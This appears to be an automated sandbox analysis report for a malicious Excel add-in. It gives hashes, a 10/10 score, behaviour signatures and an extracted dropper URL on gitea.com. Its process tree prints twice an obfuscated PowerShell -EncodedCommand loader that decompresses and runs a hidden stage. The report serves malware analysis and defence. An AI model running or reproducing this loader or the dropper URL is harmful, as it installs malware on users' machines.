Analysis
-
max time kernel
144s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
-
submitted
28-01-2024 10:22
General
-
Target
426284b7dedb929129687303f1bf7e4def607f404c93f7736d17241e43f0ab33.xlam
-
Size
22KB
-
MD5
fe4409bf10488b02442cadeb85e000d2
-
SHA1
17125f4ece6483933eb6646a16cd2859389a938a
-
SHA256
426284b7dedb929129687303f1bf7e4def607f404c93f7736d17241e43f0ab33
-
SHA512
ad75086c169d9680d87283de9726dca9721d8746377f5144f7385a7522bee42eacda2b0037426751e79593ac2a0c76207dd906d08ac4188716fb5c73c86e5227
-
SSDEEP
384:AKlevd/K/C9tqsXdt2tH5cLun2Y7WUNS4VF/J9/iuJsMOawaW0E1JPTp8gF5iz:AKlQ/mGtfYSL+2Y7x4UF/J96SxOdarCm
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://gitea.com/JoinPokingo/JingaPol/raw/branch/main/cfmifs_CRPT.txt
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 9 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 9 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\426284b7dedb929129687303f1bf7e4def607f404c93f7736d17241e43f0ab33.xlam1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -EncodedCommand IAAuACAAKAAgACQAZQBuAHYAOgBDAG8AbQBTAFAARQBjAFsANAAsADIANAAsADIANQBdAC0ASgBPAGkAbgAnACcAKQAoAG4ARQB3AC0ATwBiAEoARQBDAFQAIAAgAGkATwAuAGMAbwBNAFAAcgBlAFMAcwBJAE8ATgAuAEQARQBmAGwAYQB0AEUAUwBUAHIAZQBhAG0AKABbAFMAWQBzAFQAZQBtAC4ASQBPAC4AbQBlAG0AbwByAFkAUwB0AHIARQBhAE0AXQAgAFsAUwB5AHMAdABlAE0ALgBjAG8ATgBWAGUAUgBUAF0AOgA6AEYAcgBPAG0AYgBhAFMARQA2ADQAUwB0AHIAaQBOAGcAKAAnAGIAVgBYAHYAYwA1AHAAWQBGAFAAMgBlAG0AZgB3AFAAYgB4AHkAMwA2AEwAYQBRAGEATgBwAGsAbQA1ADMAOQBRAEIAUQBUAFUANABJAE8AWQBqAHAAcAAwAHUAawBsACsAbwBnADAAQwBCAFkAeABQADQAYgBsAGYAOQA5AHoASAAyAEoAMAB0AGgAOQA4AEkATAB4ADMANwB6AG4AbgAzAG4AcwBRAG8AdgA2AFkASABwADEAOABzADgAVQAvAFEAdAB4AG0ATgB3AHYANQB2AFYASABMADIAMABYAGUASwB2AEwARABvAHEAYgAzAHQAQwBzAGoASABCAGgARAAzADcAdgBRAFAAbQBpAGoAVABHAEoAZAAzAG0AagBOAHYANABWAFkAWABvAHYASAB5ADUATQBqAEkAUgBvADQANgBiADAATwAxAGMAbgBxAG0ATgBDAE0AbwBCAC8AeAA3AG4ANgBpAE4AWQBWAG8AQwBqADQAaABNADcAMgBmAHkAVABtAE8AYQBFADkAbQBxAHIAMwBYACsAaQBhAFcAZQAxAHUAZQBJAGoAUAB1ADIAdABqAGEAdQBQAFYAdQBkAG0ATgBwAFQAMQBiAHEASQBWAEkAbgBjAGMAcABRAEgASwB1AGUAcgA4AGkAMQBDADgARABHAHoAaABQAGcAUABTAHoAeQBvAHkASgB2ADQAOQBKAGkAKwBIAC8AaABoAC8AOAB0AEIAUABsAGMANQBKADgANABWAFAANgB4AFUATQB4AHcAYQBlAEUAQgA3AHoAaABSAFIASQArAHgAWQBsAFAAcgB1AEsAZwBKAFAAUgBEAGEARQBNAG4AOABNAEQANwBnAEMAMwA0AEgARAB5AEgAVwBKAEQAcABJAC8AZQBlAEQAKwAzAFQAOQBkAEIATABNACsAZgBFAHMAeQB4AGIATABVADkANgBGAFgAeABnAC8AcgBPACsAUwBnADAAdgBlAFoAMAB5AFMAKwBjAEYAbABFAHMAWQBjAGsAdAAvAEYARQB6ADcARABaAE4AeQBoAFoAMgBRAHYARwBXADcAbgB2AFAAOAB4AGoASABFAEoAbABqACsAdwBRAHUAWABtAC8AdAA3ACsAWABqADMAMwA1AEIAVQB0AGEARwBGADYARgA4AHgAVQBOAEsASQBsAHAATAB0AG0AMABaAFIANgAvAHIAMQB0AG4AWAA1AEIALwBmAEQAbgBtADYAMwBFAE0AWgA3ADgAYQBDAHgAUABUAHkAdgA5AGwAQwBpAEsAbAArAGIASgArAFEATABSAHoAeQBVAG4AOQBUAE4ARwBNAGQAUwBhAFIAagA5ACsAUwBoADUAbABZADUAMgB4ADEANwBjAHQAaAAwAHkANgBzAHQAYgBhAEgAaQBxAEoAMQBpAEcAWQBkAEwAQQAwAGMASABJAGEAWQBZAGsAcQBuAEwAMABWADIAVgBFAEYAMAB5AGgAUABxAFMAWQBxAEIAWQBVAEMAbgBLAHoATQBHAGUAcwBBAHEAdgBNAGYAbwBRAGcATwBhAFUAaQBtAE4AeQB1AEUAMwBwAG0ARgAwAFgAVAA5AG8AdABlAG4AeQBJAHIASgBuAE0AdQBDAFUAeABnAGwASAAwAFcAbQBMAEcAVQBaACsAZABkAEsAOQBWAGoAOABoAEYAVQBxAEgAYQBYACsAVgBkADYANwAzAEsAWQBaADUAeABtAG4AWQBkAGsAcgBFAFIASQBNAFYAbABrAHYAagBDAFEAZQBCAEQAUwAyAEsAUgByADYAaABNAFEAbABoAFMAQwAwAEwAZQBwAFEARQBtAGYAUwBJAGUAKwBRAGkAYgB3AHIAawA2AHEATQBpAG4ANgBtAGQALwBoADkAegBBAEsAZQBxADQAeAB2AFQASQBLAFYAVABYAGIARgB4AFAAVwBmAE8AZQBZAFoAMwBaAEIAbgBqAFYAcQBxAGUASABYAE0AUwBIAHUAcgBNAEcAMgBtAG8AOABMADYAUwAzAG0ATQBhAEwAMAAwAG0AWgAvAGgAKwBuAEgARQA4AFYATgB1AHAAawAxADEAeQBzAEoATQBhAEUAQwBPAEoAOABuAEoARABnAHUAbAB2AEcAaABjAG0AMgA1AG8AbgB0AGwAUwBpAE0AZQBmAEcARQBhAHUAdgB6ADIAMgBWAEoAcABTAHEAZABZAG0AVABSAHAAeQBYAEcAbABHADAAZABtAHIARwB1AFMAdgByAE4ASgAyAEQAcQBoAEMARQBXAFQAaABRAG4ANABBAHAANwBNADEALwBLAHIASwB4AEUAVQBCAEMARwBDAEkAcwAwAHEAaABOADcATQBJAHQARQBvAGMAeQBVAG8AcABrAGQANABFADYAbwAwAFIAbQB1AEEAawBHADQARQA0AEoAcABvAEcAaABGAHkASABvADkAVwA2AC8AYwA2AFgAdQA3AHgAaAAvAE4AbQA4AEsALwBpACsAdAByADgAWABCAG8ASwBCADkAVwAyAFMAUwBCAHgAbgBaAEQAbgBJAHIATQAvADkAYgBNAEoAQgBJAFQAaAA1AG0AYwBUADUAcABzAGkAaABoADIAQgBuAHUARABkAEgAawBvADQASgBPAHIAcAA5ADUANABFAGoAMQAzAE0AYwA2AE4AQgBNAEwAbwB2AGIAMQBuAGUAbABYAEwAawBUAEIATwBWAEkAbABRAGYAMQB1AFYAbQBVADkAYQBsAGEAbgBvAFUARABxAFIANQBYAEEANgBYAGgATQBpAEUAbQBHAHcAQwAzADgAMgA1ADUANwB2AGsAdABVAHAASwBYADkAdQBPAEgAUwByAEcAQQBrAHEAaABMAFYAagByAGEARQBrAHQARgA1ADcAZwBoAGoAOQBDAFUARABiAEcAYwBTAHYAUQAvADUASwByAFYAWgBmAHgAMABhAGcANgBIAFgAZABNAHoANwB3AHoAagB6AGsANABtAGYAbwBRAEMAZABzAE4AVQBUAHIASQBrAGYAUwAxAEQAdQAyAFEANgAxAEUAVgBEAFgAUABVAEcAMABkAFIAeQBTADUAcABCAFkAbABQAFgASQBuAGQAWgBpAEgAOQBWAHcAcwAzADQAOAByAFMAYwBsADYAVgB4AC8AWABpAGEASwBPAE4AWgB3ADAAeABOAHAAMAB2AEoAMwBKAFoAZQBSAHIASQBFAHEALwArAEUAYQA0AGwARwA0AC8AaQBUAFkAWAB3ACsAYgBJAHIAMwBvAHYASAA1AHgARABCAGEANwBYAFkAVABrAFkAMwB0AHkAUQBDAFYAWgBMADQAeABGAGgAVwBkAHkAOQA1AEoAVgBuAEUAbQAyAGcAcQBIADkAZwBlAGUANQBMAGUAVABtAFoAOQArAHIAKwBjAC8AaQBrAHEAZgBtAE8AUgB6AGIAdwBEAEkAMABvADMAOQAwAG4ASwBBAHgAaQBkAG4AQwBqAGgANAAwAFoAVgBwAFkAZABRAGMAdABxAE0AYQBJAEkAQwAxAGkAWABlAEQATwBVAGIAVgA4ADgAZwBDAHoAVABLAE8AZwB6AGoAQgAyAEwAWgBoAGwAbQBZADIANgB5AFYAbwB0AEsAbABVAGsAdgB4AGUAegByAHQANgBqAE0AUgBKAE4ASgBXAHAANAA4ADkAbAByAGIASwBZAGIAZAB2AFMASABQAG0AcwB6AEoAaQA1ADYAWAAyAG0AeABMAFgAeQBYAGgAZABTAGIARgBkAFMAKwBSAEEAcQB3ACsANgBUAHYAbQBKAEYAbwBiAGIAYQAzAGkARQBMADAATQBpADIATQBWAFYAMAB3AGIAVgBpAFkASABvAHYAUwBTAGUAUwAwADEAYQB0AG0ASwB6AEkAbwA4AFcAWQBQAEoAeQA3AGEAUAAvAE8AUgAyAEcAagB5AGoANwBYAFAAaABwAHUASgB3AEUAYgBwAHMAKwBUAFMAMAB4AC8AaQBqAHIAdQBPAEcAcQBEAE4AMwAwAE4AYQBHAEQAagBsAFIAdQBYAEIAdgA5AGUAYgBEADYAegB5AHQANwBVADUAOABqAFEAbQBrADMAVwBGAEcAYQA1AFcASABrAEkAQwBWAHkAegBvAC8AOAAxAE0AQgA4AEkARwBRAHgAcgB4AEgAZwB1AGsAeQAxAEEAcwBTAFEAZwBpAHUAdwBGAHoAKwBlAHMAUgAyAFcATgBkAHgARwBWADAAWQA2AEsATABRAFQAcwBTAG8AegBCAHgATwAvADYAWABLAHcAVwBVADEAOQByAGwAagBBADMAWQAyAFAASQBsADkASgA2AG0AMQBYAFYAagBvAHEAZABaAHQAdwBZAFUASwB4AGMAagByACsAcgBvAHkAMQBvAHkAZABoAFQAdgBCAGcAWgBDADYAMQBmACsAOQBHAEsAdgB3AGwAbgByADMAQQA3AEQASQA1AHUAeABaAE4AawBDAHYAdgBkAFUAVQBjAG8AYwBIAEQATwBjAG0AaAAyAG4ASQArAGgANgArAHQAQgA1AGwAMgB1AGoAUAAzADUAVgBzAHIAQgB5AGwAdgBBAFcAagAyAFkASABjADAANABKAGUAcgBGAGYAVgBkAHAAOABLAGIAbwBOAFkAKwBvADQAcQAyAHcAbQA3AHYAcwBGAFEAeQBEAFgANwB4AFUALwBOADgAeABJAHgAVgA3AGwAWABHAHAAVQBLAG4AOQB2AGUASQAvACcAIAApACAALAAgAFsAaQBvAC4AQwBPAG0AUAByAGUAUwBzAEkATwBuAC4AQwBPAG0AcABSAGUAcwBzAEkATwBuAG0AbwBEAEUAXQA6ADoAZABFAEMATwBNAFAAUgBFAHMAcwAgACkAfAAgACUAIAB7AG4ARQB3AC0ATwBiAEoARQBDAFQAIAAgAGkAbwAuAFMAdAByAEUAYQBtAHIAZQBBAEQAZQByACgAIAAkAF8ALAAgAFsAdABlAFgAVAAuAGUAbgBjAE8ARABJAE4AZwBdADoAOgBhAHMAQwBpAEkAIAApACAAfQB8ACUAewAgACQAXwAuAFIARQBhAGQAdABPAGUATgBkACgAKQB9ACAAKQA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand IAAuACAAKAAgACQAZQBuAHYAOgBDAG8AbQBTAFAARQBjAFsANAAsADIANAAsADIANQBdAC0ASgBPAGkAbgAnACcAKQAoAG4ARQB3AC0ATwBiAEoARQBDAFQAIAAgAGkATwAuAGMAbwBNAFAAcgBlAFMAcwBJAE8ATgAuAEQARQBmAGwAYQB0AEUAUwBUAHIAZQBhAG0AKABbAFMAWQBzAFQAZQBtAC4ASQBPAC4AbQBlAG0AbwByAFkAUwB0AHIARQBhAE0AXQAgAFsAUwB5AHMAdABlAE0ALgBjAG8ATgBWAGUAUgBUAF0AOgA6AEYAcgBPAG0AYgBhAFMARQA2ADQAUwB0AHIAaQBOAGcAKAAnAGIAVgBYAHYAYwA1AHAAWQBGAFAAMgBlAG0AZgB3AFAAYgB4AHkAMwA2AEwAYQBRAGEATgBwAGsAbQA1ADMAOQBRAEIAUQBUAFUANABJAE8AWQBqAHAAcAAwAHUAawBsACsAbwBnADAAQwBCAFkAeABQADQAYgBsAGYAOQA5AHoASAAyAEoAMAB0AGgAOQA4AEkATAB4ADMANwB6AG4AbgAzAG4AcwBRAG8AdgA2AFkASABwADEAOABzADgAVQAvAFEAdAB4AG0ATgB3AHYANQB2AFYASABMADIAMABYAGUASwB2AEwARABvAHEAYgAzAHQAQwBzAGoASABCAGgARAAzADcAdgBRAFAAbQBpAGoAVABHAEoAZAAzAG0AagBOAHYANABWAFkAWABvAHYASAB5ADUATQBqAEkAUgBvADQANgBiADAATwAxAGMAbgBxAG0ATgBDAE0AbwBCAC8AeAA3AG4ANgBpAE4AWQBWAG8AQwBqADQAaABNADcAMgBmAHkAVABtAE8AYQBFADkAbQBxAHIAMwBYACsAaQBhAFcAZQAxAHUAZQBJAGoAUAB1ADIAdABqAGEAdQBQAFYAdQBkAG0ATgBwAFQAMQBiAHEASQBWAEkAbgBjAGMAcABRAEgASwB1AGUAcgA4AGkAMQBDADgARABHAHoAaABQAGcAUABTAHoAeQBvAHkASgB2ADQAOQBKAGkAKwBIAC8AaABoAC8AOAB0AEIAUABsAGMANQBKADgANABWAFAANgB4AFUATQB4AHcAYQBlAEUAQgA3AHoAaABSAFIASQArAHgAWQBsAFAAcgB1AEsAZwBKAFAAUgBEAGEARQBNAG4AOABNAEQANwBnAEMAMwA0AEgARAB5AEgAVwBKAEQAcABJAC8AZQBlAEQAKwAzAFQAOQBkAEIATABNACsAZgBFAHMAeQB4AGIATABVADkANgBGAFgAeABnAC8AcgBPACsAUwBnADAAdgBlAFoAMAB5AFMAKwBjAEYAbABFAHMAWQBjAGsAdAAvAEYARQB6ADcARABaAE4AeQBoAFoAMgBRAHYARwBXADcAbgB2AFAAOAB4AGoASABFAEoAbABqACsAdwBRAHUAWABtAC8AdAA3ACsAWABqADMAMwA1AEIAVQB0AGEARwBGADYARgA4AHgAVQBOAEsASQBsAHAATAB0AG0AMABaAFIANgAvAHIAMQB0AG4AWAA1AEIALwBmAEQAbgBtADYAMwBFAE0AWgA3ADgAYQBDAHgAUABUAHkAdgA5AGwAQwBpAEsAbAArAGIASgArAFEATABSAHoAeQBVAG4AOQBUAE4ARwBNAGQAUwBhAFIAagA5ACsAUwBoADUAbABZADUAMgB4ADEANwBjAHQAaAAwAHkANgBzAHQAYgBhAEgAaQBxAEoAMQBpAEcAWQBkAEwAQQAwAGMASABJAGEAWQBZAGsAcQBuAEwAMABWADIAVgBFAEYAMAB5AGgAUABxAFMAWQBxAEIAWQBVAEMAbgBLAHoATQBHAGUAcwBBAHEAdgBNAGYAbwBRAGcATwBhAFUAaQBtAE4AeQB1AEUAMwBwAG0ARgAwAFgAVAA5AG8AdABlAG4AeQBJAHIASgBuAE0AdQBDAFUAeABnAGwASAAwAFcAbQBMAEcAVQBaACsAZABkAEsAOQBWAGoAOABoAEYAVQBxAEgAYQBYACsAVgBkADYANwAzAEsAWQBaADUAeABtAG4AWQBkAGsAcgBFAFIASQBNAFYAbABrAHYAagBDAFEAZQBCAEQAUwAyAEsAUgByADYAaABNAFEAbABoAFMAQwAwAEwAZQBwAFEARQBtAGYAUwBJAGUAKwBRAGkAYgB3AHIAawA2AHEATQBpAG4ANgBtAGQALwBoADkAegBBAEsAZQBxADQAeAB2AFQASQBLAFYAVABYAGIARgB4AFAAVwBmAE8AZQBZAFoAMwBaAEIAbgBqAFYAcQBxAGUASABYAE0AUwBIAHUAcgBNAEcAMgBtAG8AOABMADYAUwAzAG0ATQBhAEwAMAAwAG0AWgAvAGgAKwBuAEgARQA4AFYATgB1AHAAawAxADEAeQBzAEoATQBhAEUAQwBPAEoAOABuAEoARABnAHUAbAB2AEcAaABjAG0AMgA1AG8AbgB0AGwAUwBpAE0AZQBmAEcARQBhAHUAdgB6ADIAMgBWAEoAcABTAHEAZABZAG0AVABSAHAAeQBYAEcAbABHADAAZABtAHIARwB1AFMAdgByAE4ASgAyAEQAcQBoAEMARQBXAFQAaABRAG4ANABBAHAANwBNADEALwBLAHIASwB4AEUAVQBCAEMARwBDAEkAcwAwAHEAaABOADcATQBJAHQARQBvAGMAeQBVAG8AcABrAGQANABFADYAbwAwAFIAbQB1AEEAawBHADQARQA0AEoAcABvAEcAaABGAHkASABvADkAVwA2AC8AYwA2AFgAdQA3AHgAaAAvAE4AbQA4AEsALwBpACsAdAByADgAWABCAG8ASwBCADkAVwAyAFMAUwBCAHgAbgBaAEQAbgBJAHIATQAvADkAYgBNAEoAQgBJAFQAaAA1AG0AYwBUADUAcABzAGkAaABoADIAQgBuAHUARABkAEgAawBvADQASgBPAHIAcAA5ADUANABFAGoAMQAzAE0AYwA2AE4AQgBNAEwAbwB2AGIAMQBuAGUAbABYAEwAawBUAEIATwBWAEkAbABRAGYAMQB1AFYAbQBVADkAYQBsAGEAbgBvAFUARABxAFIANQBYAEEANgBYAGgATQBpAEUAbQBHAHcAQwAzADgAMgA1ADUANwB2AGsAdABVAHAASwBYADkAdQBPAEgAUwByAEcAQQBrAHEAaABMAFYAagByAGEARQBrAHQARgA1ADcAZwBoAGoAOQBDAFUARABiAEcAYwBTAHYAUQAvADUASwByAFYAWgBmAHgAMABhAGcANgBIAFgAZABNAHoANwB3AHoAagB6AGsANABtAGYAbwBRAEMAZABzAE4AVQBUAHIASQBrAGYAUwAxAEQAdQAyAFEANgAxAEUAVgBEAFgAUABVAEcAMABkAFIAeQBTADUAcABCAFkAbABQAFgASQBuAGQAWgBpAEgAOQBWAHcAcwAzADQAOAByAFMAYwBsADYAVgB4AC8AWABpAGEASwBPAE4AWgB3ADAAeABOAHAAMAB2AEoAMwBKAFoAZQBSAHIASQBFAHEALwArAEUAYQA0AGwARwA0AC8AaQBUAFkAWAB3ACsAYgBJAHIAMwBvAHYASAA1AHgARABCAGEANwBYAFkAVABrAFkAMwB0AHkAUQBDAFYAWgBMADQAeABGAGgAVwBkAHkAOQA1AEoAVgBuAEUAbQAyAGcAcQBIADkAZwBlAGUANQBMAGUAVABtAFoAOQArAHIAKwBjAC8AaQBrAHEAZgBtAE8AUgB6AGIAdwBEAEkAMABvADMAOQAwAG4ASwBBAHgAaQBkAG4AQwBqAGgANAAwAFoAVgBwAFkAZABRAGMAdABxAE0AYQBJAEkAQwAxAGkAWABlAEQATwBVAGIAVgA4ADgAZwBDAHoAVABLAE8AZwB6AGoAQgAyAEwAWgBoAGwAbQBZADIANgB5AFYAbwB0AEsAbABVAGsAdgB4AGUAegByAHQANgBqAE0AUgBKAE4ASgBXAHAANAA4ADkAbAByAGIASwBZAGIAZAB2AFMASABQAG0AcwB6AEoAaQA1ADYAWAAyAG0AeABMAFgAeQBYAGgAZABTAGIARgBkAFMAKwBSAEEAcQB3ACsANgBUAHYAbQBKAEYAbwBiAGIAYQAzAGkARQBMADAATQBpADIATQBWAFYAMAB3AGIAVgBpAFkASABvAHYAUwBTAGUAUwAwADEAYQB0AG0ASwB6AEkAbwA4AFcAWQBQAEoAeQA3AGEAUAAvAE8AUgAyAEcAagB5AGoANwBYAFAAaABwAHUASgB3AEUAYgBwAHMAKwBUAFMAMAB4AC8AaQBqAHIAdQBPAEcAcQBEAE4AMwAwAE4AYQBHAEQAagBsAFIAdQBYAEIAdgA5AGUAYgBEADYAegB5AHQANwBVADUAOABqAFEAbQBrADMAVwBGAEcAYQA1AFcASABrAEkAQwBWAHkAegBvAC8AOAAxAE0AQgA4AEkARwBRAHgAcgB4AEgAZwB1AGsAeQAxAEEAcwBTAFEAZwBpAHUAdwBGAHoAKwBlAHMAUgAyAFcATgBkAHgARwBWADAAWQA2AEsATABRAFQAcwBTAG8AegBCAHgATwAvADYAWABLAHcAVwBVADEAOQByAGwAagBBADMAWQAyAFAASQBsADkASgA2AG0AMQBYAFYAagBvAHEAZABaAHQAdwBZAFUASwB4AGMAagByACsAcgBvAHkAMQBvAHkAZABoAFQAdgBCAGcAWgBDADYAMQBmACsAOQBHAEsAdgB3AGwAbgByADMAQQA3AEQASQA1AHUAeABaAE4AawBDAHYAdgBkAFUAVQBjAG8AYwBIAEQATwBjAG0AaAAyAG4ASQArAGgANgArAHQAQgA1AGwAMgB1AGoAUAAzADUAVgBzAHIAQgB5AGwAdgBBAFcAagAyAFkASABjADAANABKAGUAcgBGAGYAVgBkAHAAOABLAGIAbwBOAFkAKwBvADQAcQAyAHcAbQA3AHYAcwBGAFEAeQBEAFgANwB4AFUALwBOADgAeABJAHgAVgA3AGwAWABHAHAAVQBLAG4AOQB2AGUASQAvACcAIAApACAALAAgAFsAaQBvAC4AQwBPAG0AUAByAGUAUwBzAEkATwBuAC4AQwBPAG0AcABSAGUAcwBzAEkATwBuAG0AbwBEAEUAXQA6ADoAZABFAEMATwBNAFAAUgBFAHMAcwAgACkAfAAgACUAIAB7AG4ARQB3AC0ATwBiAEoARQBDAFQAIAAgAGkAbwAuAFMAdAByAEUAYQBtAHIAZQBBAEQAZQByACgAIAAkAF8ALAAgAFsAdABlAFgAVAAuAGUAbgBjAE8ARABJAE4AZwBdADoAOgBhAHMAQwBpAEkAIAApACAAfQB8ACUAewAgACQAXwAuAFIARQBhAGQAdABPAGUATgBkACgAKQB9ACAAKQA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
5.7MB
-
Filesize
256KB
-
Filesize
5.7MB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
5.7MB